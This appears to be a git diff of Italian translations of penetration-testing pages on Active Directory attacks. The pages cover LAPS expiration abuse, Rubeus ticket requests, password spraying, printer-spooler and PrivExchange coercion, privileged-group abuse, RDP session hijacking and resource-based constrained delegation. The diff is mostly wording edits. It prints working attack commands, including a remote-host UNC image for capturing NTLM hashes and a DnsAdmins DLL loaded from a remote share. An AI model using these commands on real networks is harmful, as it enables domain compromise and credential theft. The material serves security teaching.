||||
### **Data di Scadenza**
|
||||
|
||||
Una volta diventati amministratori, è possibile **ottenere le password** e **prevenire** che una macchina **aggiorni** la sua **password** **impostando la data di scadenza nel futuro**.
|
||||
```powershell
|
||||
```bash
|
||||
# Get expiration time
|
||||
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
|
||||
@ -113,15 +113,15 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
||||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
> [!WARNING]
|
||||
> La password verrà comunque reimpostata se un **admin** utilizza il **`Reset-AdmPwdPassword`** cmdlet; o se **Non consentire un tempo di scadenza della password più lungo di quanto richiesto dalla policy** è abilitato nella GPO LAPS.
|
||||
> La password verrà comunque reimpostata se un **admin** utilizza il cmdlet **`Reset-AdmPwdPassword`**; o se **Non consentire un tempo di scadenza della password più lungo di quanto richiesto dalla policy** è abilitato nella GPO LAPS.
|
||||
|
||||
### Backdoor
|
||||
|
||||
Il codice sorgente originale per LAPS può essere trovato [qui](https://github.com/GreyCorbel/admpwd), quindi è possibile inserire una backdoor nel codice (all'interno del metodo `Get-AdmPwdPassword` in `Main/AdmPwd.PS/Main.cs`, ad esempio) che in qualche modo **esfiltra nuove password o le memorizza da qualche parte**.
|
||||
Il codice sorgente originale per LAPS può essere trovato [qui](https://github.com/GreyCorbel/admpwd), quindi è possibile inserire una backdoor nel codice (all'interno del metodo `Get-AdmPwdPassword` in `Main/AdmPwd.PS/Main.cs`, ad esempio) che in qualche modo **esfiltri nuove password o le memorizzi da qualche parte**.
|
||||
|
||||
Poi, basta compilare il nuovo `AdmPwd.PS.dll` e caricarlo sulla macchina in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (e cambiare l'ora di modifica).
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
|
||||
@ -26,10 +26,19 @@ Una sequenza di comandi alternativa utilizzando Rubeus.exe dimostra un altro asp
|
||||
```
|
||||
Questo metodo rispecchia l'approccio **Pass the Key**, con un focus sul comando e l'utilizzo del ticket direttamente per scopi di autenticazione. È fondamentale notare che l'inizio di una richiesta TGT attiva l'evento `4768: A Kerberos authentication ticket (TGT) was requested`, che indica un utilizzo di RC4-HMAC per impostazione predefinita, sebbene i sistemi Windows moderni preferiscano AES256.
|
||||
|
||||
Per conformarsi alla sicurezza operativa e utilizzare AES256, può essere applicato il seguente comando:
|
||||
Per conformarsi alla sicurezza operativa e utilizzare AES256, il seguente comando può essere applicato:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
## Versione più furtiva
|
||||
|
||||
> [!WARNING]
|
||||
> Ogni sessione di accesso può avere solo un TGT attivo alla volta, quindi fai attenzione.
|
||||
|
||||
1. Crea una nuova sessione di accesso con **`make_token`** da Cobalt Strike.
|
||||
2. Poi, usa Rubeus per generare un TGT per la nuova sessione di accesso senza influenzare quella esistente.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
@ -10,9 +10,9 @@ Per **default**, la **lunghezza minima** della **password** è **7**.
|
||||
|
||||
Le liste di nomi utente comuni potrebbero essere utili: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||
|
||||
Nota che **potresti bloccare alcuni account se provi diverse password errate** (per impostazione predefinita più di 10).
|
||||
Nota che **potresti bloccare alcuni account se provi diverse password errate** (per default più di 10).
|
||||
|
||||
### Ottieni la politica delle password
|
||||
### Get password policy
|
||||
|
||||
Se hai alcune credenziali utente o una shell come utente di dominio, puoi **ottenere la politica delle password con**:
|
||||
```bash
|
||||
@ -31,7 +31,7 @@ net accounts
|
||||
|
||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||
```
|
||||
### Sfruttamento da Linux (o da tutti)
|
||||
### Exploitation from Linux (or all)
|
||||
|
||||
- Utilizzando **crackmapexec:**
|
||||
```bash
|
||||
@ -78,7 +78,7 @@ done
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la politica delle password dal dominio e limiterà i tentativi in base ad essa):
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
- Con [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
||||
|
||||
@ -8,8 +8,8 @@
|
||||
|
||||
## Abuso del servizio Spooler
|
||||
|
||||
Se il servizio _**Print Spooler**_ è **abilitato**, puoi utilizzare alcune credenziali AD già conosciute per **richiedere** al server di stampa del Domain Controller un **aggiornamento** sui nuovi lavori di stampa e semplicemente dirgli di **inviare la notifica a un sistema**.\
|
||||
Nota che quando la stampante invia la notifica a sistemi arbitrari, deve **autenticarsi** contro quel **sistema**. Pertanto, un attaccante può far sì che il servizio _**Print Spooler**_ si autentichi contro un sistema arbitrario, e il servizio utilizzerà **l'account del computer** in questa autenticazione.
|
||||
Se il servizio _**Print Spooler**_ è **abilitato**, puoi utilizzare alcune credenziali AD già note per **richiedere** al server di stampa del Domain Controller un **aggiornamento** sui nuovi lavori di stampa e semplicemente dirgli di **inviare la notifica a un sistema**.\
|
||||
Nota che quando la stampante invia la notifica a sistemi arbitrari, deve **autenticarsi** contro quel **sistema**. Pertanto, un attaccante può far sì che il servizio _**Print Spooler**_ si autentichi contro un sistema arbitrario, e il servizio **utilizzerà l'account del computer** in questa autenticazione.
|
||||
|
||||
### Trovare server Windows nel dominio
|
||||
|
||||
@ -19,7 +19,7 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
|
||||
```
|
||||
### Trovare i servizi Spooler in ascolto
|
||||
|
||||
Utilizzando un @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) leggermente modificato, verifica se il Servizio Spooler è in ascolto:
|
||||
Utilizzando una versione leggermente modificata di @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica se il Servizio Spooler è in ascolto:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
@ -30,7 +30,7 @@ rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Chiedi al servizio di autenticarsi contro un host arbitrario
|
||||
|
||||
Puoi compilare[ **SpoolSample da qui**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
Puoi compilare [**SpoolSample da qui**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer
|
||||
|
||||
L'attacco `PrivExchange` è il risultato di un difetto trovato nella **funzione `PushSubscription` di Exchange Server**. Questa funzione consente al server Exchange di essere forzato da qualsiasi utente di dominio con una casella di posta ad autenticarsi su qualsiasi host fornito dal client tramite HTTP.
|
||||
|
||||
Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019**). Questo difetto può essere sfruttato per abilitare il **inoltro di informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui l'inoltro a LDAP non sia possibile, questo difetto può comunque essere utilizzato per inoltrare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.
|
||||
Per impostazione predefinita, il **servizio Exchange viene eseguito come SYSTEM** e ha privilegi eccessivi (specificamente, ha **privilegi WriteDacl sull'aggiornamento cumulativo del dominio pre-2019**). Questo difetto può essere sfruttato per abilitare il **rilascio di informazioni a LDAP e successivamente estrarre il database NTDS del dominio**. Nei casi in cui il rilascio a LDAP non sia possibile, questo difetto può comunque essere utilizzato per rilasciare e autenticarsi su altri host all'interno del dominio. Lo sfruttamento riuscito di questo attacco concede accesso immediato all'Amministratore di Dominio con qualsiasi account utente di dominio autenticato.
|
||||
|
||||
## All'interno di Windows
|
||||
|
||||
@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### Via email
|
||||
|
||||
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che vuoi compromettere, puoi semplicemente inviargli un **email con un'immagine 1x1** come
|
||||
Se conosci l'**indirizzo email** dell'utente che accede a una macchina che vuoi compromettere, puoi semplicemente inviargli un'**email con un'immagine 1x1** come
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
@ -102,9 +102,15 @@ Se puoi eseguire un attacco MitM a un computer e iniettare HTML in una pagina ch
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## Altri modi per forzare e phishing dell'autenticazione NTLM
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
## Cracking NTLMv1
|
||||
|
||||
Se riesci a catturare [NTLMv1 challenges leggi qui come crackerli](../ntlm/index.html#ntlmv1-attack).\
|
||||
Se riesci a catturare [le sfide NTLMv1 leggi qui come crackerle](../ntlm/index.html#ntlmv1-attack).\
|
||||
_Ricorda che per crackare NTLMv1 devi impostare la sfida di Responder su "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
Questo gruppo ha il potere di creare account e gruppi che non sono amministratori nel dominio. Inoltre, consente il login locale al Domain Controller (DC).
|
||||
|
||||
Per identificare i membri di questo gruppo, viene eseguito il seguente comando:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Aggiungere nuovi utenti è consentito, così come il login locale a DC01.
|
||||
@ -25,7 +25,7 @@ La Access Control List (ACL) del gruppo **AdminSDHolder** è cruciale in quanto
|
||||
Un attaccante potrebbe sfruttare questo modificando l'ACL del gruppo **AdminSDHolder**, concedendo permessi completi a un utente standard. Questo darebbe effettivamente a quell'utente il pieno controllo su tutti i gruppi protetti. Se i permessi di questo utente vengono modificati o rimossi, verrebbero automaticamente ripristinati entro un'ora a causa del design del sistema.
|
||||
|
||||
I comandi per rivedere i membri e modificare i permessi includono:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||
@ -34,7 +34,7 @@ Uno script è disponibile per accelerare il processo di ripristino: [Invoke-ADSD
|
||||
|
||||
Per ulteriori dettagli, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
|
||||
## Cestino AD
|
||||
## AD Recycle Bin
|
||||
|
||||
L'appartenenza a questo gruppo consente la lettura degli oggetti di Active Directory eliminati, il che può rivelare informazioni sensibili:
|
||||
```bash
|
||||
@ -54,10 +54,10 @@ Questo comando rivela che i `Server Operators` hanno accesso completo, consenten
|
||||
|
||||
## Backup Operators
|
||||
|
||||
L'appartenenza al gruppo `Backup Operators` fornisce accesso al file system di `DC01` grazie ai privilegi `SeBackup` e `SeRestore`. Questi privilegi abilitano la traversata delle cartelle, l'elenco e le capacità di copia dei file, anche senza permessi espliciti, utilizzando il flag `FILE_FLAG_BACKUP_SEMANTICS`. È necessario utilizzare script specifici per questo processo.
|
||||
L'appartenenza al gruppo `Backup Operators` fornisce accesso al file system di `DC01` grazie ai privilegi `SeBackup` e `SeRestore`. Questi privilegi abilitano la traversata delle cartelle, l'elenco e la copia dei file, anche senza permessi espliciti, utilizzando il flag `FILE_FLAG_BACKUP_SEMANTICS`. È necessario utilizzare script specifici per questo processo.
|
||||
|
||||
Per elencare i membri del gruppo, eseguire:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Attacco Locale
|
||||
@ -74,7 +74,7 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
3. Accedi e copia file da directory riservate, ad esempio:
|
||||
3. Accedere e copiare file da directory riservate, ad esempio:
|
||||
```bash
|
||||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
@ -130,16 +130,16 @@ Per una dimostrazione pratica, vedere [DEMO VIDEO CON IPPSEC](https://www.youtub
|
||||
|
||||
## DnsAdmins
|
||||
|
||||
I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi di SYSTEM su un server DNS, spesso ospitato su Domain Controllers. Questa capacità consente un potenziale di sfruttamento significativo.
|
||||
I membri del gruppo **DnsAdmins** possono sfruttare i loro privilegi per caricare una DLL arbitraria con privilegi di SYSTEM su un server DNS, spesso ospitato su Domain Controllers. Questa capacità consente un significativo potenziale di sfruttamento.
|
||||
|
||||
Per elencare i membri del gruppo DnsAdmins, usa:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Eseguire DLL arbitrarie
|
||||
|
||||
I membri possono far caricare al server DNS una DLL arbitraria (sia localmente che da una condivisione remota) utilizzando comandi come:
|
||||
```powershell
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
@ -171,11 +171,11 @@ Per ulteriori dettagli su questo vettore di attacco, fare riferimento a ired.tea
|
||||
|
||||
### Record WPAD per MitM
|
||||
|
||||
I DnsAdmins possono manipolare i record DNS per eseguire attacchi Man-in-the-Middle (MitM) creando un record WPAD dopo aver disabilitato l'elenco globale di blocco delle query. Strumenti come Responder o Inveigh possono essere utilizzati per spoofing e cattura del traffico di rete.
|
||||
I DnsAdmins possono manipolare i record DNS per eseguire attacchi Man-in-the-Middle (MitM) creando un record WPAD dopo aver disabilitato l'elenco globale di blocco delle query. Strumenti come Responder o Inveigh possono essere utilizzati per il spoofing e la cattura del traffico di rete.
|
||||
|
||||
### Lettori di Log degli Eventi
|
||||
I membri possono accedere ai log degli eventi, trovando potenzialmente informazioni sensibili come password in chiaro o dettagli sull'esecuzione di comandi:
|
||||
```powershell
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
@ -183,17 +183,17 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
|
||||
## Permessi di Windows di Exchange
|
||||
|
||||
Questo gruppo può modificare i DACL sui oggetti di dominio, potenzialmente concedendo privilegi DCSync. Le tecniche per l'escalation dei privilegi che sfruttano questo gruppo sono dettagliate nel repository GitHub Exchange-AD-Privesc.
|
||||
```powershell
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Hyper-V Administrators
|
||||
|
||||
Gli Hyper-V Administrators hanno accesso completo a Hyper-V, che può essere sfruttato per ottenere il controllo sui Domain Controllers virtualizzati. Questo include la clonazione di DC live ed estraendo gli hash NTLM dal file NTDS.dit.
|
||||
Gli amministratori di Hyper-V hanno accesso completo a Hyper-V, che può essere sfruttato per ottenere il controllo sui Domain Controller virtualizzati. Questo include il clonaggio di DC live ed estraendo gli hash NTLM dal file NTDS.dit.
|
||||
|
||||
### Esempio di Sfruttamento
|
||||
### Esempio di sfruttamento
|
||||
|
||||
Il servizio di manutenzione di Mozilla Firefox può essere sfruttato dagli Hyper-V Administrators per eseguire comandi come SYSTEM. Questo comporta la creazione di un hard link a un file SYSTEM protetto e la sua sostituzione con un eseguibile malevolo:
|
||||
Il servizio di manutenzione di Mozilla Firefox può essere sfruttato dagli amministratori di Hyper-V per eseguire comandi come SYSTEM. Questo comporta la creazione di un hard link a un file SYSTEM protetto e la sua sostituzione con un eseguibile malevolo:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
@ -212,15 +212,15 @@ Negli ambienti in cui è distribuito **Microsoft Exchange**, un gruppo speciale
|
||||
I membri del gruppo **Print Operators** sono dotati di diversi privilegi, incluso il **`SeLoadDriverPrivilege`**, che consente loro di **accedere localmente a un Domain Controller**, spegnerlo e gestire le stampanti. Per sfruttare questi privilegi, specialmente se **`SeLoadDriverPrivilege`** non è visibile in un contesto non elevato, è necessario bypassare il Controllo Account Utente (UAC).
|
||||
|
||||
Per elencare i membri di questo gruppo, viene utilizzato il seguente comando PowerShell:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Per tecniche di sfruttamento più dettagliate relative a **`SeLoadDriverPrivilege`**, è opportuno consultare risorse di sicurezza specifiche.
|
||||
Per tecniche di sfruttamento più dettagliate relative a **`SeLoadDriverPrivilege`**, è consigliabile consultare risorse di sicurezza specifiche.
|
||||
|
||||
#### Utenti Desktop Remoto
|
||||
|
||||
I membri di questo gruppo hanno accesso ai PC tramite il Protocollo Desktop Remoto (RDP). Per enumerare questi membri, sono disponibili comandi PowerShell:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
@ -229,7 +229,7 @@ Ulteriori informazioni sull'exploitation di RDP possono essere trovate in risors
|
||||
#### Utenti di gestione remota
|
||||
|
||||
I membri possono accedere ai PC tramite **Windows Remote Management (WinRM)**. L'enumerazione di questi membri si ottiene attraverso:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
@ -238,7 +238,7 @@ Per le tecniche di sfruttamento relative a **WinRM**, è necessario consultare d
|
||||
#### Server Operators
|
||||
|
||||
Questo gruppo ha i permessi per eseguire varie configurazioni sui Domain Controllers, inclusi i privilegi di backup e ripristino, la modifica dell'ora di sistema e lo spegnimento del sistema. Per enumerare i membri, il comando fornito è:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
## Riferimenti <a href="#references" id="references"></a>
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
# Abuso delle Sessioni RDP
|
||||
# RDP Sessions Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Iniezione di Processo RDP
|
||||
## RDP Process Injection
|
||||
|
||||
Se il **gruppo esterno** ha **accesso RDP** a qualsiasi **computer** nel dominio attuale, un **attaccante** potrebbe **compromettere quel computer e aspettarlo**.
|
||||
|
||||
Una volta che quell'utente ha effettuato l'accesso tramite RDP, **l'attaccante può pivotare sulla sessione di quell'utente** e abusare delle sue autorizzazioni nel dominio esterno.
|
||||
```powershell
|
||||
```bash
|
||||
# Supposing the group "External Users" has RDP access in the current domain
|
||||
## lets find where they could access
|
||||
## The easiest way would be with bloodhound, but you could also run:
|
||||
@ -37,7 +37,7 @@ Controlla **altri modi per rubare sessioni con altri strumenti** [**in questa pa
|
||||
Se un utente accede via **RDP a una macchina** dove un **attaccante** sta **aspettando** per lui, l'attaccante sarà in grado di **iniettare un beacon nella sessione RDP dell'utente** e se la **vittima ha montato il suo disco** quando accede via RDP, l'**attaccante potrebbe accedervi**.
|
||||
|
||||
In questo caso potresti semplicemente **compromettere** il **computer originale** delle **vittime** scrivendo un **backdoor** nella **cartella di avvio**.
|
||||
```powershell
|
||||
```bash
|
||||
# Wait til someone logs in:
|
||||
net logons
|
||||
Logged on users at \\localhost:
|
||||
|
||||
@ -1,62 +1,62 @@
|
||||
# Delegazione Constrain Basata su Risorse
|
||||
# Resource-based Constrained Delegation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Nozioni di Base sulla Delegazione Constrain Basata su Risorse
|
||||
## Basics of Resource-based Constrained Delegation
|
||||
|
||||
Questo è simile alla [Delegazione Constrain](constrained-delegation.md) di base ma **invece** di dare permessi a un **oggetto** per **impersonare qualsiasi utente contro un servizio**. La Delegazione Constrain Basata su Risorse **imposta** nell'**oggetto chi può impersonare qualsiasi utente contro di esso**.
|
||||
Questo è simile alla base [Constrained Delegation](constrained-delegation.md) ma **invece** di dare permessi a un **oggetto** per **impersonare qualsiasi utente contro una macchina**. La Resource-based Constrained Delegation **imposta** nell'**oggetto chi può impersonare qualsiasi utente contro di esso**.
|
||||
|
||||
In questo caso, l'oggetto vincolato avrà un attributo chiamato _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ con il nome dell'utente che può impersonare qualsiasi altro utente contro di esso.
|
||||
|
||||
Un'altra importante differenza tra questa Delegazione Constrain e le altre delegazioni è che qualsiasi utente con **permessi di scrittura su un account macchina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) può impostare il _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (nelle altre forme di Delegazione era necessario avere privilegi di amministratore di dominio).
|
||||
Un'altra importante differenza tra questa Constrained Delegation e le altre deleghe è che qualsiasi utente con **permessi di scrittura su un account macchina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) può impostare il **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Nelle altre forme di Delegation erano necessari privilegi di amministratore di dominio).
|
||||
|
||||
### Nuovi Concetti
|
||||
### New Concepts
|
||||
|
||||
Nella Delegazione Constrain è stato detto che il **`TrustedToAuthForDelegation`** flag all'interno del valore _userAccountControl_ dell'utente è necessario per eseguire un **S4U2Self.** Ma non è completamente vero.\
|
||||
Nella Constrained Delegation è stato detto che il **`TrustedToAuthForDelegation`** flag all'interno del valore _userAccountControl_ dell'utente è necessario per eseguire un **S4U2Self.** Ma non è completamente vero.\
|
||||
La realtà è che anche senza quel valore, puoi eseguire un **S4U2Self** contro qualsiasi utente se sei un **servizio** (hai un SPN) ma, se hai **`TrustedToAuthForDelegation`** il TGS restituito sarà **Forwardable** e se **non hai** quel flag il TGS restituito **non sarà** **Forwardable**.
|
||||
|
||||
Tuttavia, se il **TGS** utilizzato in **S4U2Proxy** **NON è Forwardable**, cercare di abusare di una **delegazione Constrain di base** **non funzionerà**. Ma se stai cercando di sfruttare una **delegazione constrain basata su risorse, funzionerà** (questo non è una vulnerabilità, è una funzionalità, apparentemente).
|
||||
Tuttavia, se il **TGS** utilizzato in **S4U2Proxy** **NON è Forwardable**, cercare di abusare di una **basic Constrain Delegation** **non funzionerà**. Ma se stai cercando di sfruttare una **Resource-Based constrain delegation, funzionerà**.
|
||||
|
||||
### Struttura dell'Attacco
|
||||
### Attack structure
|
||||
|
||||
> Se hai **privilegi di scrittura equivalenti** su un **account Computer** puoi ottenere **accesso privilegiato** in quella macchina.
|
||||
|
||||
Supponiamo che l'attaccante abbia già **privilegi di scrittura equivalenti sull'computer vittima**.
|
||||
|
||||
1. L'attaccante **compromette** un account che ha un **SPN** o **ne crea uno** (“Servizio A”). Nota che **qualsiasi** _Admin User_ senza alcun altro privilegio speciale può **creare** fino a 10 **oggetti Computer (**_**MachineAccountQuota**_**)** e impostarli con un **SPN**. Quindi l'attaccante può semplicemente creare un oggetto Computer e impostare un SPN.
|
||||
2. L'attaccante **abusa del suo privilegio di SCRITTURA** sull'computer vittima (ServizioB) per configurare **la delegazione constrain basata su risorse per consentire a ServiceA di impersonare qualsiasi utente** contro quell'computer vittima (ServizioB).
|
||||
3. L'attaccante utilizza Rubeus per eseguire un **attacco S4U completo** (S4U2Self e S4U2Proxy) da Servizio A a Servizio B per un utente **con accesso privilegiato a Servizio B**.
|
||||
1. S4U2Self (dall'account SPN compromesso/creato): Chiedi un **TGS di Administrator per me** (Non Forwardable).
|
||||
2. S4U2Proxy: Usa il **TGS non Forwardable** del passo precedente per chiedere un **TGS** da **Administrator** al **host vittima**.
|
||||
3. Anche se stai usando un TGS non Forwardable, poiché stai sfruttando la delegazione constrain basata su risorse, funzionerà.
|
||||
4. L'attaccante può **pass-the-ticket** e **impersonare** l'utente per ottenere **accesso al ServizioB vittima**.
|
||||
1. L'attaccante **compromette** un account che ha un **SPN** o **ne crea uno** (“Service A”). Nota che **qualsiasi** _Admin User_ senza alcun altro privilegio speciale può **creare** fino a 10 oggetti Computer (**_MachineAccountQuota_**) e impostarli con un **SPN**. Quindi l'attaccante può semplicemente creare un oggetto Computer e impostare un SPN.
|
||||
2. L'attaccante **abusa del suo privilegio di SCRITTURA** sull'computer vittima (ServiceB) per configurare **la delega vincolata basata su risorse per consentire a ServiceA di impersonare qualsiasi utente** contro quell'computer vittima (ServiceB).
|
||||
3. L'attaccante utilizza Rubeus per eseguire un **attacco S4U completo** (S4U2Self e S4U2Proxy) da Service A a Service B per un utente **con accesso privilegiato a Service B**.
|
||||
1. S4U2Self (dall'account SPN compromesso/creato): Chiedi un **TGS di Administrator a me** (Non Forwardable).
|
||||
2. S4U2Proxy: Usa il **TGS non Forwardable** del passo precedente per chiedere un **TGS** da **Administrator** all'**host vittima**.
|
||||
3. Anche se stai usando un TGS non Forwardable, poiché stai sfruttando la delega vincolata basata su risorse, funzionerà.
|
||||
4. L'attaccante può **pass-the-ticket** e **impersonare** l'utente per ottenere **accesso al servizio vittima ServiceB**.
|
||||
|
||||
Per controllare il _**MachineAccountQuota**_ del dominio puoi usare:
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
## Attacco
|
||||
|
||||
### Creazione di un Oggetto Computer
|
||||
|
||||
Puoi creare un oggetto computer all'interno del dominio utilizzando [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
```powershell
|
||||
Puoi creare un oggetto computer all'interno del dominio utilizzando **[powermad](https://github.com/Kevin-Robertson/Powermad):**
|
||||
```bash
|
||||
import-module powermad
|
||||
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
|
||||
# Check if created
|
||||
Get-DomainComputer SERVICEA
|
||||
```
|
||||
### Configurazione della R**isorsa basata sulla Delegazione Constrainata**
|
||||
### Configurazione della Delegazione Constrainata Basata sulle Risorse
|
||||
|
||||
**Utilizzando il modulo PowerShell di activedirectory**
|
||||
```powershell
|
||||
**Utilizzando il modulo PowerShell activedirectory**
|
||||
```bash
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
```
|
||||
**Utilizzando powerview**
|
||||
```powershell
|
||||
```bash
|
||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
||||
@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Esecuzione di un attacco S4U completo
|
||||
### Eseguire un attacco S4U completo
|
||||
|
||||
Prima di tutto, abbiamo creato il nuovo oggetto Computer con la password `123456`, quindi abbiamo bisogno dell'hash di quella password:
|
||||
```bash
|
||||
@ -81,17 +81,17 @@ Ora, l'attacco può essere eseguito:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
